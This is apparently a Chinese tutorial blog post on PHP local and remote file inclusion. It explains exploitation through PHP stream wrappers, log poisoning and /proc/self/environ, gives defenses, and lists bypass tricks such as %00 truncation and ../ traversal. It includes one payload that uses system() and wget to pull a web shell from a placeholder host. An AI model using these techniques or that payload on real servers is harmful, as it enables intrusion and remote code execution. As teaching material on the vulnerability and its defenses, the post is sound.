文件包含漏洞原理:(php)

  是指当服务器开启allow_url_include选项的时候,通过php某些特性函数、如include()、include_once()、require()、require_once(),使用url动态的去包含文件,此时如果对包含的文件没有进行过滤,就可能导致任意文件读取和任意命令执行。

  文件包含漏洞分为本地文件包含和远程文件包含

  远程文件包含是因为allow_url_fopen=on开启,导致本地服务器可以包含远程服务器上的一个文件,如果对这个文件没有进行审查,可能会导致意想不到的结果

文件包含的利用方式:

  1.包含上传文件:我们可以在上传的文件中写入脚本、在知道路径的情况下可以连接拿shell

  2.使用一些php伪协议:(php://input、data、php://filter)

    ①php://input协议和data协议

      php://input协议和data协议的使用前提是allow_url_include需要开启。

      Ⅰ:php://input默认接收post传来的参数,我们可以使用input上传我们需要执行的语句(一句话,文件,命令)

        我们可以使用hackbar插件对post进行构造  

        条件:

          php <5.0 ,allow_url_include=Off 情况下也可以用

          php > 5.0,只有在allow_url_fopen=On 时才能使用

         Ⅱ:data://协议、主要是使用文字和图片命令,直接在url中进行构造

          文字命令和php://input中的一句话类似,图片命令主要是图片马

    ②php://filter:我们可以使用这个协议查看源码,不过源码是以base64加密传输过来的

  3.包含日志文件:

    我们在url中输入的信息一般都会保存到日志文件中,如果我们在url中输入脚本代码,那么这个脚本代码也会保存到日志文件中,如果此时我们知道这个脚本保存的日志文件的路径,那么我们可以直接连接执行。这个方法在凌晨的时候是最方便的,因为日志文件是一天一保存,凌晨时候,日志文件最少,我们利用起来更加方便。

  4.包含/proc/self/environ文件

    找到文件包含漏洞,尝试访问/proc/self/environ文件,访问成功的话,在user-agent头中添加脚本代码

<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>

防御方法:

  1.在不必须的情况下,关闭allow_url_include选项

  2.使用白名单和黑名单对可包含的文件进行限制

  3.尽量不使用动态包含

  4.在服务端和客户端都进行过滤

绕过方法:

  1.00%进行截断,00%可以截断file变量后面的字符串

  2.使用./构造超长字符串进行截断

  3.使用../进行目录遍历

  4.使用?进行截断,使用原理和%00相同

  

文件包含漏洞(file inclusion)的更多相关文章

  1. 文件包含漏洞File Inclusion

    文件包含漏洞 目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞.非授权文件包含漏洞等. 文件包含分类 LFI:本地文件包含(Local File Inclusion) RFI:远程文件包含 ...

  2. php文件包含漏洞 file inclusion vulnerability

    0x00 何为文件包含漏洞 开发人员如果在写类似include "a.php"的代码时,如果将a.php写成了可变的值,那么就可以在上面做文章,举个理想的例子: <? inc ...

  3. Pikachu漏洞练习平台实验——文件包含(File Inclusion)(六)

    1.概述 1.1简介 在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能.比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调 ...

  4. DVWA之文件包含(File inclusion)

    daFile inclusion的意思就是文件包含,当服务器开启了allow_url_include选项时,就可以通过PHP的某些特征函数 include,require和include_once,r ...

  5. Pikachu-File Inclusion(文件包含漏洞)

    File Inclusion(文件包含漏洞)概述 文件包含,是一个功能.在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件. 比如 在PHP中 ...

  6. PHP文件包含漏洞剖析

    一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...

  7. php文件包含漏洞(利用phpinfo)复现

     利用docker复现该漏洞,访问http://192.168.80.156:8080/phpinfo.php,可以看到页面出现phpinfo页面 再访问http://192.168.80.156:8 ...

  8. 本地文件包含漏洞(LFI漏洞)

    0x00 前言 本文的主要目的是分享在服务器遭受文件包含漏洞时,使用各种技术对Web服务器进行攻击的想法. 我们都知道LFI漏洞允许用户通过在URL中包括一个文件.在本文中,我使用了bWAPP和DVW ...

  9. python打造文件包含漏洞检测工具

    0x00前言: 做Hack the box的题.感觉那个平台得开个VIp 不然得凉.一天只能重置一次...mmp 做的那题毒药是文件包含漏洞的题,涉及到了某个工具 看的不错就开发了一个. 0x01代码 ...

随机推荐

  1. 使用EF Code First生成模型,如何让时间字段由数据库自动生成

    场景:保存记录时需要时间字段,该时间如果由前台通过DateTime.Now产生,存在风险,比如修改客户端的系统时间,就会伪造该记录的生成时间.因此,需要在保存记录时,由后台自动赋予具体的时间. 实现方 ...

  2. 《Vue.js 2.x实践指南》 已出版

    <Vue.js 2.x实践指南>其实在一年前就已经完稿了,只是由于疫情的缘故耽搁了很久才下厂印刷.阅读本书需要具备HTML.CSS和JS基础,本书针对的用户群体主要是:想要快速学习vue技 ...

  3. Ubuntu 配置/etc/fstab参数实现开机自动挂载硬盘

    文章目录 前言 fstab 参数含义 实现步骤 1 查看硬盘信息,并找到需要进行挂载的硬盘 2 sudo mkfs.ext4 /dev/sdc 3 sudo mkdir /home/diska 4 查 ...

  4. Flutter中如何使用WillPopScope

    老孟导读:在Flutter中如何实现点击2次Back按钮退出App,如何实现App中多个Route(路由),如何实现Back按钮只退出指定页面,此篇文章将告诉你. WillPopScope WillP ...

  5. springboot启动报错:Handler dispatch failed; nested exception is java.lang.AbstractMethodError

    最近在用springboot构建项目,控制台报错:Handler dispatch failed; nested exception is java.lang.AbstractMethodError, ...

  6. Vue3语法快速入门以及写一个倒计时组件

    Vue3写一个倒计时组件 vue3 beta版本发布已有一段时间了,文档也大概看了一下,不过对于学一门技术,最好的方法还是实战,于是找了一个比较简单的组件用vue3来实现,参考的是vant的count ...

  7. gets() 、 getchar() 、 getch() 、getche()、gets()、 scanf()的区别

    1.getchar().getche().getch() (1).getchar 函数用于从标准输入设备键盘读入单个字符,返回表示读入字符的ASCII码值,并在屏上显示该字符:头文件是 stdio.h ...

  8. HBase 安装snappy压缩软件以及相关编码配置

    HBase 安装snappy压缩软件以及相关编码配置 前言 ​ 在使用HBase过程中因为数据存储冗余.备份数等相关问题占用过多的磁盘空间,以及在入库过程中为了增加吞吐量所以会采用相关的压缩算法来压缩 ...

  9. HBase Filter 过滤器之 ValueFilter 详解

    前言:本文详细介绍了 HBase ValueFilter 过滤器 Java&Shell API 的使用,并贴出了相关示例代码以供参考.ValueFilter 基于列值进行过滤,在工作中涉及到需 ...

  10. protus中出现invalid internal memory size ==NULL

    点击8086芯片,更改internal memory size的大小为0x10000